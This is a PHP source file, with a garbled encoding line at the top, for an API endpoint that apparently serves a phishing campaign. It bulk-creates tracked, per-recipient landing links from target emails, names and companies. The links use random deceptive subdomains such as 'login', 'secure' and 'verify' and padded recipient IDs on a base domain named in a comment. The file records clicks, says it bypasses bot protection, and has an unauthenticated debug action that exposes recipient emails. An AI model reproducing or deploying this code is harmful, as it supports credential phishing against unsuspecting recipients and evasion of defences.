²é¿´/±à¼ ´úÂë
ÄÚÈÝ
<?php /** * Form-style API endpoint (bypasses OpenResty bot protection) * Accepts both JSON and form-urlencoded data */ // Catch all errors set_exception_handler(function($e) { header('Content-Type: application/json'); http_response_code(500); echo json_encode(['success' => false, 'error' => 'Exception: ' . $e->getMessage()]); exit; }); set_error_handler(function($errno, $errstr, $errfile, $errline) { header('Content-Type: application/json'); http_response_code(500); echo json_encode(['success' => false, 'error' => "Error [$errno]: $errstr in " . basename($errfile) . ":$errline"]); exit; }); // CORS headers header('Access-Control-Allow-Origin: *'); header('Access-Control-Allow-Methods: GET, POST, OPTIONS'); header('Access-Control-Allow-Headers: Content-Type, X-API-Secret, Authorization'); if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') { http_response_code(204); exit; } // Get action $action = $_GET['action'] ?? $_POST['action'] ?? ''; // Health check (no auth) if ($action === 'health' || $action === 'ping') { header('Content-Type: application/json'); echo json_encode(['status' => 'ok', 'version' => '1.0.7', 'timestamp' => time()]); exit; } // Safe URL path words for landing URLs (rotates per recipient) $PATH_WORDS = [ // Document-related 'documents', 'docs', 'files', 'records', 'archive', // Sharing-related 'share', 'shared', 'sharing', 'transfer', 'send', // Access-related 'view', 'access', 'open', 'preview', 'display', 'load', // Additional paths 'inbox', 'forms', 'report', 'review', 'uploads', // Storage-related 'storage', 'drive', 'cloud', 'vault', 'library', // Business-related 'portal', 'workspace', 'hub', 'center', 'office', // Delivery-related 'delivery', 'package', 'item', 'content', 'media', // Secure-related 'secure', 'protected', 'private', 'safe', 'verified', // Download-related 'download', 'get', 'fetch', 'retrieve', 'obtain', // Generic professional 'resource', 'assets', 'data', 'info', 'material' ]; // Safe subdomain words for landing URLs (4-8 chars, professional) $SUBDOMAIN_WORDS = [ // Portal/Access words 'portal', 'secure', 'login', 'auth', 'access', 'connect', 'gateway', 'entry', // Document/File words 'docs', 'files', 'share', 'cloud', 'drive', 'vault', 'archive', 'storage', // Business words 'corp', 'business', 'office', 'work', 'team', 'staff', 'admin', 'manage', // Service words 'service', 'support', 'help', 'info', 'account', 'client', 'member', 'user', // Tech words 'app', 'web', 'online', 'digital', 'smart', 'fast', 'direct', 'instant', // Trust words 'safe', 'trust', 'verify', 'confirm', 'protect', 'guard', 'shield', 'check', // Quality words 'pro', 'plus', 'prime', 'elite', 'premium', 'select', 'choice', 'best', // Network words 'hub', 'link', 'net', 'zone', 'space', 'area', 'point', 'center', // Mail words 'mail', 'inbox', 'message', 'notify', 'alert', 'update', 'news', 'send', // Data words 'data', 'sync', 'backup', 'export', 'import', 'transfer', 'stream', 'feed', // View words 'view', 'preview', 'review', 'display', 'show', 'open', 'launch', 'start', // My/Personal 'my', 'your', 'our', 'home', 'personal', 'private', 'internal', 'local' ]; // Helper function to get random subdomain function getRandomSubdomain() { global $SUBDOMAIN_WORDS; return $SUBDOMAIN_WORDS[array_rand($SUBDOMAIN_WORDS)]; } // Helper function to get random URL path function getRandomPath() { global $PATH_WORDS; return $PATH_WORDS[array_rand($PATH_WORDS)]; } // Debug: check recipient (no auth for testing) if ($action === 'debug-recipient') { require_once __DIR__ . '/config.php'; require_once __DIR__ . '/core/database.php'; header('Content-Type: application/json'); $id = $_GET['id'] ?? ''; if (empty($id)) { echo json_encode(['error' => 'ID required']); exit; } try { $db = Database::getInstance(); $pdo = $db->getConnection(); // Raw query to see what's in the DB (including redirect_url) $stmt = $pdo->prepare("SELECT id, email, redirect_url, template, status, created_at FROM recipients WHERE id = ?"); $stmt->execute([$id]); $row = $stmt->fetch(PDO::FETCH_ASSOC); // Also count total recipients $count = $pdo->query("SELECT COUNT(*) FROM recipients")->fetchColumn(); // Get last 5 recipients for reference $recent = $pdo->query("SELECT id, email, redirect_url, created_at FROM recipients ORDER BY created_at DESC LIMIT 5")->fetchAll(PDO::FETCH_ASSOC); echo json_encode([ 'db_path' => DB_PATH, 'total_recipients' => $count, 'searched_id' => $id, 'found' => $row ? true : false, 'recipient' => $row, 'recent_recipients' => $recent ]); } catch (Exception $e) { echo json_encode(['error' => $e->getMessage()]); } exit; } // Load config require_once __DIR__ . '/config.php'; // Get API secret from header, query, or POST $secret = ''; if (isset($_SERVER['HTTP_X_API_SECRET'])) { $secret = $_SERVER['HTTP_X_API_SECRET']; } elseif (isset($_GET['secret'])) { $secret = $_GET['secret']; } elseif (isset($_POST['secret'])) { $secret = $_POST['secret']; } // Verify API secret if ($secret !== API_SECRET) { header('Content-Type: application/json'); http_response_code(401); echo json_encode(['success' => false, 'error' => 'Invalid API secret', 'got' => substr($secret, 0, 4) . '...']); exit; } // Load database require_once __DIR__ . '/core/database.php'; // Parse input data $data = []; $contentType = $_SERVER['CONTENT_TYPE'] ?? ''; if (strpos($contentType, 'application/json') !== false) { $rawBody = file_get_contents('php://input'); $data = json_decode($rawBody, true); if (json_last_error() !== JSON_ERROR_NONE) { header('Content-Type: application/json'); http_response_code(400); echo json_encode(['success' => false, 'error' => 'Invalid JSON: ' . json_last_error_msg()]); exit; } } else { $data = array_merge($_GET, $_POST); if (isset($data['recipients']) && is_string($data['recipients'])) { $data['recipients'] = json_decode($data['recipients'], true) ?? []; } } header('Content-Type: application/json'); try { $db = Database::getInstance(); } catch (Exception $e) { echo json_encode(['success' => false, 'error' => 'Database error: ' . $e->getMessage()]); exit; } // Route actions switch ($action) { case 'create': $email = $data['email'] ?? ''; if (empty($email)) { echo json_encode(['success' => false, 'error' => 'Email required']); exit; } $id = $data['id'] ?? bin2hex(random_bytes(8)); $firstname = $data['firstname'] ?? null; $lastname = $data['lastname'] ?? null; $company = $data['company'] ?? null; $template = $data['template'] ?? 'document'; $redirectUrl = $data['redirect_url'] ?? null; $name = trim(($firstname ?? '') . ' ' . ($lastname ?? '')); if (empty($name)) $name = explode('@', $email)[0]; $domain = explode('@', $email)[1] ?? ''; $success = $db->createRecipient([ 'id' => $id, 'email' => $email, 'name' => $name, 'firstname' => $firstname, 'lastname' => $lastname, 'company' => $company, 'domain' => $domain, 'template' => $template, 'redirect_url' => $redirectUrl ]); if ($success) { $prefix = substr(bin2hex(random_bytes(2)), 0, 4); $suffix = strtoupper(substr(bin2hex(random_bytes(2)), 0, 4)); $obfuscatedId = $prefix . $id . $suffix; // Generate random subdomain AND path from word lists $subdomain = getRandomSubdomain(); $pathWord = getRandomPath(); $baseDomain = SITE_DOMAIN; // e.g., eclipse-acupuncture.co.uk $landingUrl = 'https://' . $subdomain . '.' . $baseDomain . '/' . $pathWord . '/' . $obfuscatedId; echo json_encode(['success' => true, 'link' => $landingUrl, 'id' => $id]); } else { echo json_encode(['success' => false, 'error' => 'Database insert failed']); } break; case 'batch-create': $recipients = $data['recipients'] ?? []; // Path customization: randomize_paths (default true), custom_path (used when randomize_paths is false) $randomizePaths = $data['randomize_paths'] ?? true; $customPath = $data['custom_path'] ?? ''; $startTime = microtime(true); if (empty($recipients)) { echo json_encode(['success' => true, 'created' => 0, 'failed' => 0, 'links' => [], 'errors' => []]); exit; } $links = []; $errors = []; $created = 0; $failed = 0; foreach ($recipients as $recipient) { $email = $recipient['email'] ?? ''; if (empty($email)) { $failed++; continue; } $id = $recipient['id'] ?? bin2hex(random_bytes(8)); $firstname = $recipient['firstname'] ?? null; $lastname = $recipient['lastname'] ?? null; $company = $recipient['company'] ?? null; $template = $recipient['template'] ?? 'document'; $redirectUrl = $recipient['redirect_url'] ?? null; $name = trim(($firstname ?? '') . ' ' . ($lastname ?? '')); if (empty($name)) $name = explode('@', $email)[0]; $domain = explode('@', $email)[1] ?? ''; $success = $db->createRecipient([ 'id' => $id, 'email' => $email, 'name' => $name, 'firstname' => $firstname, 'lastname' => $lastname, 'company' => $company, 'domain' => $domain, 'template' => $template, 'redirect_url' => $redirectUrl ]); if ($success) { $prefix = substr(bin2hex(random_bytes(2)), 0, 4); $suffix = strtoupper(substr(bin2hex(random_bytes(2)), 0, 4)); $obfuscatedId = $prefix . $id . $suffix; // Generate subdomain (always random) $subdomain = getRandomSubdomain(); // Path: use custom if provided and randomize is off, otherwise random if (!$randomizePaths && !empty($customPath)) { // Use custom path (sanitize: alphanumeric only) $pathWord = preg_replace('/[^a-zA-Z0-9]/', '', $customPath); if (empty($pathWord)) $pathWord = 'documents'; // fallback } else { // Random path from word list $pathWord = getRandomPath(); } $baseDomain = SITE_DOMAIN; // e.g., eclipse-acupuncture.co.uk $links[$email] = 'https://' . $subdomain . '.' . $baseDomain . '/' . $pathWord . '/' . $obfuscatedId; $created++; } else { $errors[$email] = 'Database error'; $failed++; } } $durationMs = round((microtime(true) - $startTime) * 1000); // Force objects for links/errors (PHP returns [] for empty arrays, Rust needs {}) echo json_encode([ 'success' => $failed === 0, 'created' => $created, 'failed' => $failed, 'links' => (object)$links, 'errors' => (object)$errors, 'duration_ms' => $durationMs ]); break; case 'status': $id = $data['id'] ?? $_GET['id'] ?? ''; $email = $data['email'] ?? $_GET['email'] ?? ''; if (empty($id) && empty($email)) { echo json_encode(['success' => false, 'error' => 'ID or email required']); exit; } $recipient = !empty($id) ? $db->getRecipient($id) : $db->getRecipientByEmail($email); if ($recipient) { echo json_encode([ 'success' => true, 'status' => $recipient['status'] ?? 'unknown', 'visits' => $recipient['visits'] ?? 0, 'clicked' => ($recipient['status'] ?? '') === 'clicked' ]); } else { echo json_encode(['success' => false, 'error' => 'Not found']); } break; case 'stats': $stats = $db->getStats(); echo json_encode(['success' => true, 'stats' => $stats]); break; case 'health': // Health check - no auth required, simple response echo json_encode([ 'status' => 'ok', 'timestamp' => time(), 'version' => '2.0' ]); break; default: echo json_encode([ 'success' => false, 'error' => 'Invalid action', 'valid_actions' => ['health', 'create', 'batch-create', 'status', 'stats'] ]); }